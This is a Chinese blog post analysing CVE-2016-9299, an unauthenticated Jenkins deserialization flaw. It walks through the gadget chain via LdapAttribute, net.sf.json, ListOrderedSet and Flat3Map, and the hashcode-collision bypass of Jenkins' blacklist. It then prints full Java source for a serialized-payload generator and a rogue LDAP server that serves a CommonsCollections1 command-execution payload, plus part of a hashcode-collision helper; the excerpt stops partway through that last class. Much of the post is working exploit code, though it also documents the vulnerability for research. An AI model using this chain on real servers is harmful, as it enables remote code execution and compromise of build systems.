<p>这个漏洞在去年11月份官方发布通告的时候我当时关注过，当时自己一直在找<strong><em>com.sun.jndi.ldap.LdapAttribute</em></strong>这个类相关的反序列化，当时意识到这个类里面的<strong><em>getAttributeSyntaxDefinition()</em></strong>方法和<strong><em>getAttributeDefinition()</em></strong>可能会存在反序列化的问题，但是当时找了好多类，发现在发序列化的时候都无法触发这两个方法，原本以为是jdk里面自己的问题，最后就没继续跟下去了，中途有老外放出了一个ppt里面演示了这个漏洞，大概看了下发现是利用json来bypass Jenkins的白名单，当时一直在忙数据分析的事情，事情就搁浅了，前不久刚好MSF上有Payload了，再加上年底了没那么多事了，所以就研究了下，这个漏洞还是挺有意思的，涉及的知识面还是稍微广了一点，这里不得不佩服那些漏洞发现者。</p>
<p>每当一个漏洞漏洞出现的时候，我就在想为什么自己不能发现，当每次漏洞分析完的时候才发现各方面的差距真的是不小。</p>
<p><strong><em>技术在于分享，这样才能进步</em></strong>。</p>
</blockquote>
<h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><p>2016年11月16号Jenkins官方发布了一个安全通告，命名为<a href="https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16" target="_blank" rel="noopener">CVE-2016-9299</a>,从通告上来看，该漏洞依然是个反序列的漏洞，不过这个漏洞的反序列化和LDAP有关，而且在反序列化后需要连接到一个恶意的LDAP服务器，Jenkins对于之前反序列化的修复方法就是对一些恶意的类加上黑名单，所以这里首先得Bypass官方的黑名单，对于该漏洞只有这么多信息，而且在官方给的POC里面也仅仅是提到了<strong><em>com.sun.jndi.ldap.LdapAttribute</em></strong>这个类，这个漏洞的利用首先是不需要认证的，而且能任意代码执行，危害可见一斑。</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>从官方的描述以及后面的Payload来看，问题和net.sf.json以及com.sun.jndi.ldap.LdapAttribute有关，通过分析对LdapAttribute这个类的分析，我们可以确定以下两个方法是触发反序列化漏洞的根本（关于下文中LDAP的反序列相关的知识请移步16年blackhat老外的Paper “us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”）</p>
<ul>
<li>getAttributeSyntaxDefinition</li>
<li>getAttributeDefinition</li>
</ul>
<p>这两个方法中都调用了该<strong><em>DirContext schema = getBaseCtx().getSchema(rdn);</em></strong>代码片段其中getBaseCtx()方法定义如下：</p>
<p><div align="center"><br><img src="/attach/getBaseCtx.png" alt="/attach/getBaseCtx.png"><br></div><br>该段代码使用jndi的方式去访问LDAP服务，这里我们可以控制Context.PROVIDER_URL的参数，从而控制jndi访问的LDAP服务器的地址。</p>
<p>getSchema(rdn)方法最终会调用com.sun.jndi.ldap.LdapBindingEnumeration.createItem(String, Attributes, Vector)方法（调用关系太多，自己去调试），该方法的定义如下图</p>
<p><div align="center"><br><img src="/attach/createItem.png" alt="/attach/createItem.png"><br></div><br>在该方法中最终会调用<strong><em>Obj.decodeObject(attrs)</em></strong>方法，从而实现对象的反序列化。这里稍微提下，com.sun.jndi.ldap.Obj对象中定义了几种对象序列化与反序列化的方法，有直接反序列化的，也有直接通过远程加载的，这里的的反序列化稍微与其它地方的反序列化不同的点在于我们不能远程加载对象，因为com.sun.jndi.ldap.VersionHelper12.trustURLCodebase的默认值为false，所以直接决定了类加载器只能加载当前classpath下面的类，关于如何去构造对象使得LDAP在反序列化能执行任意代码，请看下文。</p>
<p>到这里我们知道了com.sun.jndi.ldap.LdapAttribute中相关的方法能触发反序列化的漏洞，那么现在我们要做的就是去找到一个类在反序列化的时候能调用我们相应触发漏洞的函数，也就是在反序列化时能调用getAttributeSyntaxDefinition方法或者getAttributeDefinition方法的类，通过老外的PPT以及公开的gadgets，我们稍微分析下就会发现在net.sf.json这个类库中存在可以调用类任意getXXX函数的地方，那么com.sun.jndi.ldap.LdapAttribute这个类中的getXXX方法是不是也可以通过这种方式来调用，首先我们先确定究竟是那个类中的那个方法能调用getXXX函数，通过gadgets中的json Payload我们发现最终能调用对象的getXXX函数如下图（net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)）所示</p>
<p><div align="center"><br><img src="/attach/defaultbeanProcessing.png" alt="/attach/defaultbeanProcessing.png"><br></div><br>上图中圈起来的两个地方就是能调用getXXX函数的地方，这里会先遍历javabean的所有属性，最后在挨个的调用。</p>
<p>弄明白了能函数调用的根源，下一步就是去找这个函数究竟会怎样触发。通过eclipse我们可以很容易发现如下调用方式。</p>
<p><div align="center"><br><img src="/attach/calldefaultbeanProcessing.png" alt="/attach/calldefaultbeanProcessing.png"><br></div><br>如上图所示，我们可以看见defaultBeanProcessing方法最终会被ConcurrentSkipListSet类中的equals方法调用，到这里很多人可能会问了，那么多调用关系，你为什么就找这个类的equals方法，这里可能会有一些经验在里面，因为对于和equals方法相关的东西太多了，对于java中的某些数据结构，例如Set,每次添加元素的时候都会判断当前key是否存在，还有就是比较两个对象是否相等的时候会去调用hashcode和equals方法，这里如果了解过其它反序列化的同学对此可能会稍有感触，例如jdk的那个反序列化的触发过程。如果这种经验没有的话，那么你只能一个一个的去找了。</p>
<p>最终我们找到了一个类可以的某个方法可以调用我们的函数了，但是你可能会发现在eclipse中这样的函数调用关系大多是多态情况下的方法调用，所以我们还需要对equals方法中的方法调用进行分析，这里我们需要注意的是defaultBeanProcessing这个函数的直接调用对象是net.sf.json.JSONArray.fromObject(Object, JsonConfig)方法，我们来看下equals方法</p>
<p><div align="center"><br><img src="/attach/concurrentSkipListSetEquals.png" alt="/attach/concurrentSkipListSetEquals.png"><br></div><br>在这个方法里面有两处调用了containsAll方法，我们要看看究竟是那个可能会调用fromObject，我们再来看下fromObject的调用关系，如下图</p>
<p><div align="center"><br><img src="/attach/fromObjectcall.png" alt="/attach/fromObjectcall.png"><br></div><br>你会发现JSONArray调用了containsAll方法，</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">containsAll(c) &amp;&amp; c.containsAll(this);</span><br></pre></td></tr></table></figure>
<p>这里的第一个containsAll方法是触发不了的那个函数的，所以我们只要满足对象o是JSONArray就行了，但是事实上是不行了，因为这个对象o不是Set的子类，所以这条路到这基本上就走不通了，所以我们还得继续找。</p>
<p>继续回到c.containsAll这个地方我们再找那些函数最终调用了containsAll，这里我们发现org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(Collection)这个抽象类调用了，来看改函数的定义</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">protected Collection collection;</span><br><span class="line">....</span><br><span class="line"> public boolean containsAll(Collection coll) &#123;</span><br><span class="line">     return collection.containsAll(coll);</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>
<p>这里最终会调用collection.containsAll方法，如果这里我们将collection赋值为JSONArray对象的话不照样触发漏洞么，由于AbstractCollectionDecorator这个类是抽象的，无法实例化，所以我们得找一个它的子类，注意这里我们必须得满足子类是实现了Set接口并且是可以序列化的，所以找到最后我们找到了org.apache.commons.collections.set.ListOrderedSet这个类。这里只需要满足父类的collection是JSONArray就行了。</p>
<p>到这里我们知道了只需要让equals方法中的对象o赋值成org.apache.commons.collections.set.ListOrderedSet的实例就行了。</p>
<p>接下来我们要去找关于equals的调用关系了，直接使用eclipse我们可以找到org.apache.commons.collections.map.Flat3Map.put(Object, Object)这个类（详细过程大家自己去跟），这个类有个更重要的一点是</p>
<p><div align="center"><br><img src="/attach/flat3map_readObject.png" alt="/attach/flat3map_readObject.png"><br></div><br>这个类在反序列化的时候恰好就触发了这个put函数，最终触发我们精心构造的对象。</p>
<p>这个Flat3Map有个特点就是当map的元素小于等于3的时候会用类成员变量来存储数据，而且这里还必须得调用equals方法。</p>
<p><div align="center"><br><img src="/attach/flat3map_put.png" alt="/attach/flat3map_put.png"><br></div><br>悲剧的是这里我们需要构造两个对象也就是我们刚才讨论的，一个是ListOrderedSet一个是concurrentSkipListSet对象，但是这里我们需要满足这两个对象的key值的hashcode必须相同。<br>这里的hashcode要么全为0这样是最好的，也就是key为空字符串就行了，但是我们要构造的Payload里面必须要有JSONArray对象，这个对象默认的hashcode是29，不管怎么弄都不可能相等，不过这里我们可以用hashcode碰撞来解决hashcode值相同问题。</p>
<p>这里我们关键的漏洞是怎么触发的已经浪费了大量的篇幅来说明，下来就是要去构造POC了，这里具体细节就比较简单了，不做过多的描述了。</p>
<h2 id="Payload-LDAP-JNDI"><a href="#Payload-LDAP-JNDI" class="headerlink" title="Payload-LDAP-JNDI"></a>Payload-LDAP-JNDI</h2><p>这里直接给出生成Ldap序列化的Payload，如果谁有什么疑问可以邮件交流。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">@author</span> iswin</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> InstantiationException, IllegalAccessException,</span></span><br><span class="line"><span class="function">		IllegalArgumentException, InvocationTargetException, Exception </span>&#123;</span><br><span class="line">	</span><br><span class="line">	Object o = Reflections.getFirstCtor(<span class="string">"com.sun.jndi.ldap.LdapAttribute"</span>).newInstance(<span class="string">"iswin"</span>);</span><br><span class="line">	Reflections.setFieldValue(o, <span class="string">"baseCtxURL"</span>, <span class="string">"ldap://127.0.0.1:38900"</span>);</span><br><span class="line"></span><br><span class="line">	ConcurrentSkipListSet sets = <span class="keyword">new</span> ConcurrentSkipListSet(<span class="keyword">new</span> NullComparator());</span><br><span class="line">	sets.add(o);</span><br><span class="line"></span><br><span class="line">	ListOrderedSet set = <span class="keyword">new</span> ListOrderedSet();</span><br><span class="line">	JSONArray array = <span class="keyword">new</span> JSONArray();</span><br><span class="line">	array.add(<span class="string">"\u0915\u0009\u001e\u000c\u0002\u0915\u0009\u001e\u000b\u0004"</span>);</span><br><span class="line">	Reflections.setSuperFieldValue(set, set.getClass().getSuperclass().getSuperclass().getSuperclass(),</span><br><span class="line">			<span class="string">"collection"</span>, array);</span><br><span class="line"></span><br><span class="line">	Flat3Map map = <span class="keyword">new</span> Flat3Map();</span><br><span class="line">	map.put(set, <span class="keyword">true</span>);</span><br><span class="line">	map.put(sets, <span class="keyword">true</span>);</span><br><span class="line">	</span><br><span class="line">	<span class="comment">//如果不在这里更改值，则满足不了hash相等条件，如果在之前设置为空，那么在Flat3Map的put方法时就会触发漏洞，则不能完成生成payload。</span></span><br><span class="line">	Reflections.setSuperFieldValue(o, o.getClass().getSuperclass(), <span class="string">"attrID"</span>, <span class="string">""</span>);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">byte</span>[] bt = Serializer.serialize(map);</span><br><span class="line">	Deserializer.deserialize(bt);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="Payload-LDAP-SERVER"><a href="#Payload-LDAP-SERVER" class="headerlink" title="Payload-LDAP-SERVER"></a>Payload-LDAP-SERVER</h2><p>刚开始以为主要能生成序列化的Payload然后随便找个LDAP服务器弄个序列化的对象丢上去就行了，但是事实好像没有那么简单，我用apacheds模拟了好久就是不行，后来看了下上文提到的那个<strong><em>Obj.decodeObject(attrs)</em></strong>方法，发现这个必须要LDAP服务器返回的信息中必须包含某些属性，例如javaSerializedData，但是每次去请求总是达不到效果，后来去瞅了下msf上的payload，大概明白了一点，后来懒得去弄了，就学习了下ldap协议的rfc文档，熟悉了下asn1标记语言（有耐心的同学可以仔细看看），具体解释如下</p>
<p><div align="center"><br><img src="/attach/asn1.png" alt="/attach/asn1.png"><br></div><br>直接将msf上的那个模拟的服务端中的asn1部分直接拿java重写了下。<br>整体代码如下：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@author</span> iswin</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">LdapServer</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] hexStringToByteArray(String s) &#123;</span><br><span class="line">		<span class="keyword">int</span> len = s.length();</span><br><span class="line">		<span class="keyword">byte</span>[] data = <span class="keyword">new</span> <span class="keyword">byte</span>[len / <span class="number">2</span>];</span><br><span class="line">		<span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; len; i += <span class="number">2</span>) &#123;</span><br><span class="line">			data[i / <span class="number">2</span>] = (<span class="keyword">byte</span>) ((Character.digit(s.charAt(i), <span class="number">16</span>) &lt;&lt; <span class="number">4</span>) + Character.digit(s.charAt(i + <span class="number">1</span>), <span class="number">16</span>));</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> data;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">bytesToHex</span><span class="params">(<span class="keyword">byte</span>[] bytes)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">char</span>[] hexArray = <span class="string">"0123456789ABCDEF"</span>.toCharArray();</span><br><span class="line">		<span class="keyword">char</span>[] hexChars = <span class="keyword">new</span> <span class="keyword">char</span>[bytes.length * <span class="number">2</span>];</span><br><span class="line">		<span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j &lt; bytes.length; j++) &#123;</span><br><span class="line">			<span class="keyword">int</span> v = bytes[j] &amp; <span class="number">0xFF</span>;</span><br><span class="line">			hexChars[j * <span class="number">2</span>] = hexArray[v &gt;&gt;&gt; <span class="number">4</span>];</span><br><span class="line">			hexChars[j * <span class="number">2</span> + <span class="number">1</span>] = hexArray[v &amp; <span class="number">0x0F</span>];</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">new</span> String(hexChars);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] make_stage_reply() <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"></span><br><span class="line">		Object payload = CommonsCollections1.class.newInstance().getObject(<span class="string">"open /Applications/Calculator.app"</span>);</span><br><span class="line">		ByteArrayOutputStream objpayload = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line">		ObjectOutputStream oo = <span class="keyword">new</span> ObjectOutputStream(objpayload);</span><br><span class="line">		oo.writeObject(payload);</span><br><span class="line"></span><br><span class="line">		Sequence sq = <span class="keyword">new</span> Sequence();</span><br><span class="line">		sq.addElement(<span class="keyword">new</span> OctetString(<span class="string">"javaClassName"</span>.getBytes()));</span><br><span class="line">		Set s0 = <span class="keyword">new</span> Set();</span><br><span class="line">		s0.addElement(<span class="keyword">new</span> OctetString(<span class="string">"WTF"</span>.getBytes()));</span><br><span class="line">		sq.addElement(s0);</span><br><span class="line"></span><br><span class="line">		Sequence sq1 = <span class="keyword">new</span> Sequence();</span><br><span class="line">		sq1.addElement(<span class="keyword">new</span> OctetString(<span class="string">"javaSerializedData"</span>.getBytes()));</span><br><span class="line">		Set s = <span class="keyword">new</span> Set();</span><br><span class="line">		s.addElement(<span class="keyword">new</span> OctetString(objpayload.toByteArray()));</span><br><span class="line">		sq1.addElement(s);</span><br><span class="line"></span><br><span class="line">		Sequence sq2 = <span class="keyword">new</span> Sequence();</span><br><span class="line">		sq2.addElement(sq);</span><br><span class="line">		sq2.addElement(sq1);</span><br><span class="line"></span><br><span class="line">		Sequence sq3 = <span class="keyword">new</span> Sequence();</span><br><span class="line">		sq3.addElement(<span class="keyword">new</span> OctetString(<span class="string">"cn=wtf, dc=example, dc=com"</span>.getBytes()));</span><br><span class="line">		sq3.addElement(sq2);</span><br><span class="line">		sq3.setTagClass(Tag.APPLICATION);</span><br><span class="line">		sq3.setTagNumber(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">		Sequence sqall = <span class="keyword">new</span> Sequence();</span><br><span class="line">		sqall.addElement(<span class="keyword">new</span> ASN1Integer(<span class="number">3L</span>));</span><br><span class="line">		sqall.addElement(sq3);</span><br><span class="line"></span><br><span class="line">		ByteArrayOutputStream opt = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line">		sqall.encode(<span class="keyword">new</span> BerOutputStream(opt, BerOutputStream.ENCODING_DER));</span><br><span class="line">		<span class="keyword">return</span> opt.toByteArray();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">read_ldap_packet</span><span class="params">(Socket socket)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			InputStream sin = socket.getInputStream();</span><br><span class="line">			<span class="keyword">byte</span>[] sinb = <span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">2</span>];</span><br><span class="line">			sin.read(sinb);</span><br><span class="line">			<span class="keyword">if</span> (sinb[<span class="number">0</span>] != <span class="string">'0'</span>) &#123;</span><br><span class="line">				<span class="keyword">return</span>;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">int</span> length = (<span class="keyword">char</span>) (sinb[<span class="number">1</span>] &amp; <span class="number">0xFF</span>);</span><br><span class="line">			<span class="keyword">if</span> ((length &amp; (<span class="number">1</span> &lt;&lt; <span class="number">7</span>)) != <span class="number">0</span>) &#123;</span><br><span class="line">				<span class="keyword">int</span> length_bytes_length = length ^ (<span class="number">1</span> &lt;&lt; <span class="number">7</span>);</span><br><span class="line">				<span class="keyword">byte</span>[] length_bytes = <span class="keyword">new</span> <span class="keyword">byte</span>[length_bytes_length];</span><br><span class="line">				sin.read(length_bytes);</span><br><span class="line">				<span class="keyword">int</span> sum = <span class="number">0</span>;</span><br><span class="line">				<span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; length_bytes.length; i++) &#123;</span><br><span class="line">					sum += (length_bytes[i] &amp; <span class="number">0xFF</span>);</span><br><span class="line">				&#125;</span><br><span class="line">				length = sum;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">// System.out.println("length" + length);</span></span><br><span class="line">			<span class="keyword">byte</span>[] tmp = <span class="keyword">new</span> <span class="keyword">byte</span>[length];</span><br><span class="line">			sin.read(tmp);</span><br><span class="line"></span><br><span class="line">		&#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">			e.printStackTrace();</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">socketServer</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			ServerSocket server = <span class="keyword">new</span> ServerSocket(<span class="number">38900</span>);</span><br><span class="line">			Socket ss = server.accept();</span><br><span class="line">			OutputStream out = <span class="keyword">new</span> BerOutputStream(ss.getOutputStream());</span><br><span class="line">			read_ldap_packet(ss);</span><br><span class="line">			out.write(hexStringToByteArray(<span class="string">"300c02010161070a010004000400"</span>));</span><br><span class="line">			out.flush();</span><br><span class="line">			read_ldap_packet(ss);</span><br><span class="line">			out.write(hexStringToByteArray(</span><br><span class="line">					<span class="string">"3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"</span>));</span><br><span class="line">			out.write(hexStringToByteArray(<span class="string">"300c02010265070a010004000400"</span>));</span><br><span class="line">			out.flush();</span><br><span class="line">			read_ldap_packet(ss);</span><br><span class="line">			out.write(make_stage_reply());</span><br><span class="line">			out.write(hexStringToByteArray(<span class="string">"300c02010365070a010004000400"</span>));</span><br><span class="line">			out.flush();</span><br><span class="line">			out.close();</span><br><span class="line">			ss.close();</span><br><span class="line">			server.close();</span><br><span class="line">		&#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">			e.printStackTrace();</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		socketServer();</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>最后再来简单说下那个Obj.decodeObject(attrs)的Payload构造问题，有的同学肯定会说了jndi不是直接可以远程加载类然后实例化么，这个问题再上门说过了，对于LDAP的jndi这个方法是行不通的，我们来看看这个Obj类到底是怎么处理的</p>
<p><div align="center"><br><img src="/attach/obj.decodeObject.png" alt="/attach/obj.decodeObject.png"><br></div><br>这里我们可以看到这里定义多种不同的方式来去解析对象， ClassLoader cl = helper.getURLClassLoader(codebases); 这个类加载器是从codebase的URL中去加载涉及的相关类，但是我看下具体方法</p>
<p><div align="center"><br><img src="/attach/urlcodebase.png" alt="/attach/urlcodebase.png"><br></div><br>所以默认是加载不了codebase中定义的类的，一旦这样我们就只能构造相关反序列化漏洞的POC，让类在Jenkins进行反序列化时再触发漏洞了，不过这样子的话Payload很有可能不成功。</p>
<h2 id="关于hashcode的碰撞问题"><a href="#关于hashcode的碰撞问题" class="headerlink" title="关于hashcode的碰撞问题"></a>关于hashcode的碰撞问题</h2><p>这样叫不知道对不对，姑且这样叫吧，老外早就研究过这个问题，我直接把代码丢出来，可以碰撞出任意数值的hashcode值，大家在使用的时候要注意版权问题。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">package</span> iswin;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">HashCollision</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">convert</span><span class="params">(String str)</span> </span>&#123;</span><br><span class="line">		str = (str == <span class="keyword">null</span> ? <span class="string">""</span> : str);</span><br><span class="line">		String tmp;</span><br><span class="line">		StringBuffer sb = <span class="keyword">new</span> StringBuffer(<span class="number">1000</span>);</span><br><span class="line">		<span class="keyword">char</span> c;</span><br><span class="line">		<span class="keyword">int</span> i, j;</span><br><span class="line">		sb.setLength(<span class="number">0</span>);</span><br><span class="line">		<span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; str.length(); i++) &#123;</span><br><span class="line">			c = str.charAt(i);</span><br><span class="line">			sb.append(<span class="string">"\\u"</span>);</span><br><span class="line">			j = (c &gt;&gt;&gt; <span class="number">8</span>); <span class="comment">// 取出高8位</span></span><br><span class="line">			tmp = Integer.toHexString(j);</span><br><span class="line">			<span class="keyword">if</span> (tmp.length() == <span class="number">1</span>)</span><br><span class="line">				sb.append(<span class="string">"0"</span>);</span><br><span class="line">			sb.append(tmp);</span><br><span class="line">			j = (c &amp; <span class="number">0xFF</span>); <span class="comment">// 取出低8位</span></span><br><span class="line">			tmp = Integer.toHexString(j);</span><br><span class="line">			<span class="keyword">if</span> (tmp.length() == <span class="number">1</span>)</span><br><span class="line">				sb.append(<span class="string">"0"</span>);</span><br><span class="line">			sb.append(tmp);</span><br><span class="line"></span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> (<span class="keyword">new</span> String(sb));</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">string2Unicode</span><span class="params">(String string)</span> </span>&#123;</span><br><span class="line">		StringBuffer unicode = <span class="keyword">new</span> StringBuffer();</span><br><span class="line">		<span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; string.length(); i++) &#123;</span><br><span class="line">			<span class="comment">// 取出每一个字符</span></span><br><span class="line">			<span class="keyword">char</span> c = string.charAt(i);</span><br><span class="line">			<span class="comment">// 转换为unicode</span></span><br><span class="line">			unicode.append(<span class="string">"\\u"</span> + Integer.toHexString(c));</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> unicode.toString();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Returns a string with a hash equal to the argument.</span></span><br><span class="line"><span class="comment">	 * 